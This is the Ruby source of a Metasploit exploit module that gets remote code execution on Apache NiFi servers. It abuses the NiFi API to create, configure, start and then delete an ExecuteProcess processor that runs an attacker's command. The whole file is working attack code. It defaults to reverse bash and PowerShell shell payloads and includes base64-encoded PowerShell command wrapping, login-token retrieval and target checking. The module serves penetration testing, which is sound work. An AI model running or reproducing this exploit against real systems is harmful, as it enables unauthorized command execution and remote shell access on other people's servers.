## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Potential Improvements: # Add option to authenticate using client certificate class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Nifi def initialize(info = {}) super( update_info( info, 'Name' => 'Apache NiFi API Remote Code Execution', 'Description' => %q{ This module uses the NiFi API to create an ExecuteProcess processor that will execute OS commands. The API must be unsecured (or credentials provided) and the ExecuteProcess processor must be available. An ExecuteProcessor processor is created then is configured with the payload and started. The processor is then stopped and deleted. Verified against 1.12.1, 1.12.1-RC2, and 1.20.0 }, 'License' => MSF_LICENSE, 'Author' => ['Graeme Robinson'], 'References' => [ ['URL', 'https://nifi.apache.org/'], ['URL', 'https://github.com/apache/nifi'], [ 'URL', 'https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/1.12.1/' \ 'org.apache.nifi.processors.standard.ExecuteProcess/index.html' ] ], 'DisclosureDate' => '2020-10-03', 'DefaultOptions' => { 'RPORT' => 8080 }, 'Platform' => %w[unix linux macos win], 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Unix (In-Memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'Payload' => { 'BadChars' => '"' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Windows (In-Memory)', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' } } ] ], 'Privileged' => false, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES], 'NOCVE' => ['abusing a feature'] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path', '/']), OptInt.new('DELAY', [ true, 'The delay (s) before stopping and deleting the processor', 5 # 2 seems enough in my lab, but set to 5 for safety ]) ], self.class ) end def configure_processor(command) cmd = command.split(' ', 2) body = { 'component' => { 'config' => { 'autoTerminatedRelationships' => ['success'], 'properties' => { 'Command' => cmd[0], 'Command Arguments' => cmd[1] }, 'schedulingPeriod' => '3600 sec' }, 'id' => @processor, 'state' => 'RUNNING' }, 'revision' => { 'clientId' => 'x', 'version' => 1 } } opts = { 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor), 'ctype' => 'application/json', 'data' => body.to_json } opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token res = send_request_cgi(opts) fail_with(Failure::Unreachable, 'No response received') if res.nil? fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200 end def check # As far as I can tell from the API documentation, it's not possible to check whether the required permissions are # present unless "permission to check permissions" is granted. For this reason it reports: # * "Unknown" if a timeout is experienced when checking whether login is required # * "Safe" if the response to the login check is not one of the two expected responses because it's probably not # NiFi # * "Detected" if login is required, because it has confirmed that NiFi is running on the port becuase it got an # expected response # * "Appears" if login is not required because it has confirmed that Nifi is running because it got the expected # response and if there is no authentication then there is no way of restricting the ExecuteCode permimssion @cleanup_required = false login_type = supports_login? return CheckCode::Unknown('Unable to determine if logins are supported') if login_type.nil? if login_type return CheckCode::Appears('Apache NiFi instance supports logins') end CheckCode::Detected('Apache NiFi instance does not support logins') end def validate_config if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty? fail_with(Failure::BadConfig, 'Authentication is required. Bearer-Token or Username and Password must be specified') end end def cleanup super return unless @cleanup_required # Wait for thread to execute - This seems necesarry, especially on Windows # and there is no way I can see of checking whether the thread has executed print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting") sleep(datastore['DELAY']) # Stop Processor begin stop_processor(@token, @processor) rescue ProcessorError fail_with(Failure::UnexpectedReply, 'Unable to stop processor. Manual cleanup is required') end vprint_good("Stopped and terminated processor #{@processor}") # Delete processor begin delete_processor(@token, @processor, 3) rescue ProcessorError fail_with(Failure::UnexpectedReply, 'Unable to stop processor. Manual cleanup is required') end vprint_good("Deleted processor #{@processor}") end def exploit # Check whether login is required and set/fetch token if supports_login? validate_config @token = if datastore['BEARER-TOKEN'].to_s.empty? retrieve_login_token else datastore['BEARER-TOKEN'] end fail_with(Failure::NoAccess, 'Invalid Credentials') if @token.nil? else @token = nil end # Retrieve root process group process_group = fetch_root_process_group(@token) fail_with(Failure::UnexpectedReply, 'Unable to retrieve root process group') if process_group.nil? vprint_good("Retrieved process group: #{process_group}") @cleanup_required = true # Create processor in root process group begin @processor = create_processor(@token, process_group) fail_with(Failure::UnexpectedReply, 'Unable to create a new processor') if @processor.nil? rescue ProcessorError fail_with(Failure::UnexpectedReply, 'Unable to create processor. Manual review of HTTP packets will be required to debug failure.') end vprint_good("Created processor #{@processor} in process group #{process_group}") # Generate command case target['Type'] when :unix_memory cmd = "bash -c \"#{payload.encoded}\"" when :win_memory # This is a bit hacky because double quotes are processed and removed by the NiFi ExecuteCommand processor. See # below for why BadChars didn't cut it. The solution used is to wrap up command in a cmd /C "payload" command and # use powershell's Stop-parsing token (--%) to remove the need to perform any escaping of metacharacter. This # command is then base64 encoded and run with -e/-EncodedCommand. This allows commands including double quotes and # dollar signs (etc.) to be passed to cmd.exe # # This method was chosen rather than using # BadChars => '"' # with # cmd /C "#{payload.encoded}" # because commands such as # echo x^"x >%tmp%\x # did not work with the BadChars method ("^" is the cmd.exe escape char) enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE')) cmd = "powershell.exe -e #{enc_cmd}" end vprint_status("Using command #{cmd}") # Configure processor and run command configure_processor(cmd) vprint_good("Configured processor #{@processor} and ran command") end end